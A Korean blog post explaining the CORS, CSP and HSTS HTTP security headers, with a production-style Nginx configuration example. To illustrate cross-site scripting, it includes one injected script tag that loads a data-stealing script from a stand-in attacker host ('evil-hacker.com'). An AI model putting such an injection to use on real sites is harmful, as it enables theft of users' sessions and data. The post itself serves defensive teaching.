3-4-06. 웹 보안 완전 가이드: CORS, CSP 및 HSTS

ADVERTISEMENT

웹 보안 완벽 가이드: CORS, CSP, HSTS

2026년에 글로벌 웹 서비스를 운영한다는 것은 전 세계 사용자에게 인프라를 노출시키는 것을 의미하며, 이는 필연적으로 전 세계적인 사이버 위협에 노출되는 것을 뜻합니다. 구글과 같은 검색 엔진은 보안이 침해된 웹사이트에 대해 절대적인 무관용 정책을 적용합니다. 단 한 번의 보안 침해만으로도 "사기성 사이트 경고"가 발령되어, 자연 검색 트래픽과 구글 애드센스 수익이 순식간에 사라질 수 있습니다. 뚫을 수 없는 요새를 구축하려면 프론트엔드 개발자와 웹마스터는 CORS, CSP, HSTS라는 “HTTP 보안 헤더 3대 핵심”을 숙지해야 합니다. 이 종합 가이드에서는 이러한 정책이 무엇인지, 어떻게 전 세계 사용자를 보호하는지, 그리고 이를 완벽하게 구현하는 방법을 상세히 설명합니다.

1. CORS (Cross-Origin Resource Sharing): API 보안

CORS를 이해하려면 먼저 동일 출처 정책(SOP)을 이해해야 합니다. 기본적으로 웹 브라우저는 웹 페이지를 제공한 도메인(출처)과 다른 도메인에 대한 요청을 웹 페이지에서 수행하는 것을 제한합니다. 예를 들어, https://myblog.com 에 있는 스크립트는 https://api.mybank.com에서 비공개 데이터를 임의로 가져올 수 없습니다. 이는 매우 중요한 내장 방어 메커니즘입니다.

하지만 현대의 글로벌 애플리케이션은 매우 분산되어 있습니다. 프론트엔드는 Vercel에, API는 AWS에, 이미지는 Cloudflare에 호스팅될 수 있습니다. CORS는 이러한 상황에서 SOP를 안전하게 우회할 수 있게 해주는 프로토콜입니다. CORS는 특수한 HTTP 헤더를 사용하여 브라우저에 “이 특정 외부 도메인이 내 리소스에 접근하는 것은 괜찮다”고 알립니다.

  • 사전 확인 요청(Preflight Request): 복잡한 요청(POST나 PUT을 통해 JSON 데이터를 전송하는 경우 등)의 경우, 브라우저는 먼저 보이지 않는 OPTIONS 요청(‘프리플라이트’)을 보내 실제 요청이 허용되는지 서버에 확인합니다. 서버가 승인하면 실제 요청이 전송됩니다.
  • 치명적인 실수: 많은 개발자가 CORS 오류에 좌절하여 단순히 Access-Control-Allow-Origin: * (와일드카드)를 설정해 버립니다. 이는 인터넷상의 말 그대로 모든 웹사이트가 여러분의 API를 조회할 수 있게 하므로 치명적인 보안 취약점입니다. 항상 정확하고 신뢰할 수 있는 오리진을 명시하십시오.

2. CSP(콘텐츠 보안 정책): XSS에 대한 최강의 방어막

크로스 사이트 스크립팅(XSS)은 웹상에서 가장 흔하고 위험한 취약점 중 하나입니다. 이는 해커가 (예: 보안이 취약한 댓글 섹션을 통해) 사이트에 악성 자바스크립트를 삽입하는 데 성공했을 때 발생합니다. 사용자가 해당 페이지를 방문하면 악성 스크립트가 실행되어 세션 쿠키를 탈취하거나 피싱 사이트로 리디렉션합니다.

CSP는 웹 페이지의 매우 엄격한 경비원 역할을 합니다. 이는 사이트 관리자가 로드가 허용되는 동적 리소스의 승인된 "화이트리스트"를 선언할 수 있게 해주는 HTTP 헤더입니다. 스크립트가 실행을 시도하지만 그 출처가 화이트리스트에 없으면, 브라우저는 이를 차단합니다.

CSP가 없는 경우

해커가 <script src="https://evil-hacker.com/steal.js"></script>. 브라우저는 이를 무조건 신뢰하여 스크립트를 다운로드하고, 사용자의 데이터가 유출됩니다.

CSP 적용 시

서버 헤더는 다음과 같이 지정합니다: script-src 'self' https://trusted-analytics.com. 브라우저는 해커의 스크립트를 확인하고, evil-hacker.com 목록에 없음을 파악하고, 실행을 거부합니다.

3. HSTS (HTTP Strict Transport Security): 보안 경로 강제 적용

SSL/TLS 인증서를 설치했고 사이트가 HTTPS로 로드됩니다. 안전하겠죠? 꼭 그렇지만은 않습니다. 사용자가 브라우저 주소창에 yourdomain.com 를 입력하면, 초기 요청은 종종 암호화되지 않은 http:// 프로토콜로 전송됩니다. 서버가 사용자를 https://로 리디렉션하기 전의 그 찰나에, 같은 공용 Wi-Fi 네트워크에 접속해 있는 해커가 중간자(MITM) SSL 스트리핑 공격을 수행하여 트래픽을 가로챌 수 있습니다.

HSTS는 이러한 취약점을 완전히 제거합니다. 서버가 HSTS 헤더를 전송하면 브라우저에 다음과 같은 엄격한 명령을 내립니다. “향후 X 기간 동안은 절대로 HTTP를 통해 이 사이트를 로드하지 마십시오. 요청이 기기를 떠나기도 전에 내부적으로 HTTPS를 강제 적용하십시오.” 또한, 도메인을 Chrome, Firefox, Safari에 하드코딩된 글로벌 HSTS 프리로드 목록에 등록할 수 있어, 사용자가 처음 방문할 때부터 안전하게 연결되도록 보장할 수 있습니다.

4. 구현: 서버 구성 코드 예시

이러한 정책을 구현하려면 서버 구성을 수정해야 합니다. 다음은 엄격한 CORS, 강력한 CSP, 그리고 최고 수준의 보안을 제공하는 HSTS를 설정하는 Nginx용 실제 운영 환경에 바로 적용 가능한 코드 예시입니다.

server {
    listen 443 ssl http2;
    server_name www.yourglobaldomain.com;

    # 1. HSTS Configuration
    # Enforce HTTPS for 1 year (31536000 seconds), include subdomains, and allow preloading
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    # 2. CSP (Content Security Policy) Configuration
    # Only allow scripts from your domain and Google Analytics. Disallow inline scripts.
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://www.google-analytics.com; img-src 'self' data: https:; style-src 'self' 'unsafe-inline';" always;

    # 3. CORS Configuration (For an API block)
    location /api/ {
        # NEVER use '*' in production. Specify exact trusted frontend domains.
        add_header 'Access-Control-Allow-Origin' 'https://www.yourfrontend.com' always;
        add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS, PUT, DELETE' always;
        add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type' always;
        
        # Handle preflight requests
        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Origin' 'https://www.yourfrontend.com';
            add_header 'Access-Control-Max-Age' 1728000;
            add_header 'Content-Type' 'text/plain; charset=utf-8';
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

결론: 보안은 SEO다

현대 웹 생태계에서 보안과 SEO는 깊이 연결되어 있습니다. 구글은 HTTPS를 명시적인 순위 결정 신호로 사용하며, 구글의 알고리즘은 사용자 안전 지표에 매우 민감하게 반응합니다. CORS, CSP, HSTS를 올바르게 구현하면 단순히 사용자 데이터를 보호하는 것을 넘어, 검색 엔진이 전 세계 사용자에게 자신 있게 추천할 수 있는 탄력적이고 신뢰도 높은 디지털 자산을 구축하게 됩니다. 지금 바로 HTTP 헤더를 점검하고 악의적인 행위자들의 침입을 차단하십시오.


태그: #웹보안 #CORS #콘텐츠보안정책 #HSTS #사이버보안 #글로벌SEO #HTTPS #기술표준

pomiai — AI와 함께하는 일상에서 더 알아보기

지금 구독하여 계속 읽고 전체 아카이브에 액세스하세요.

계속 읽기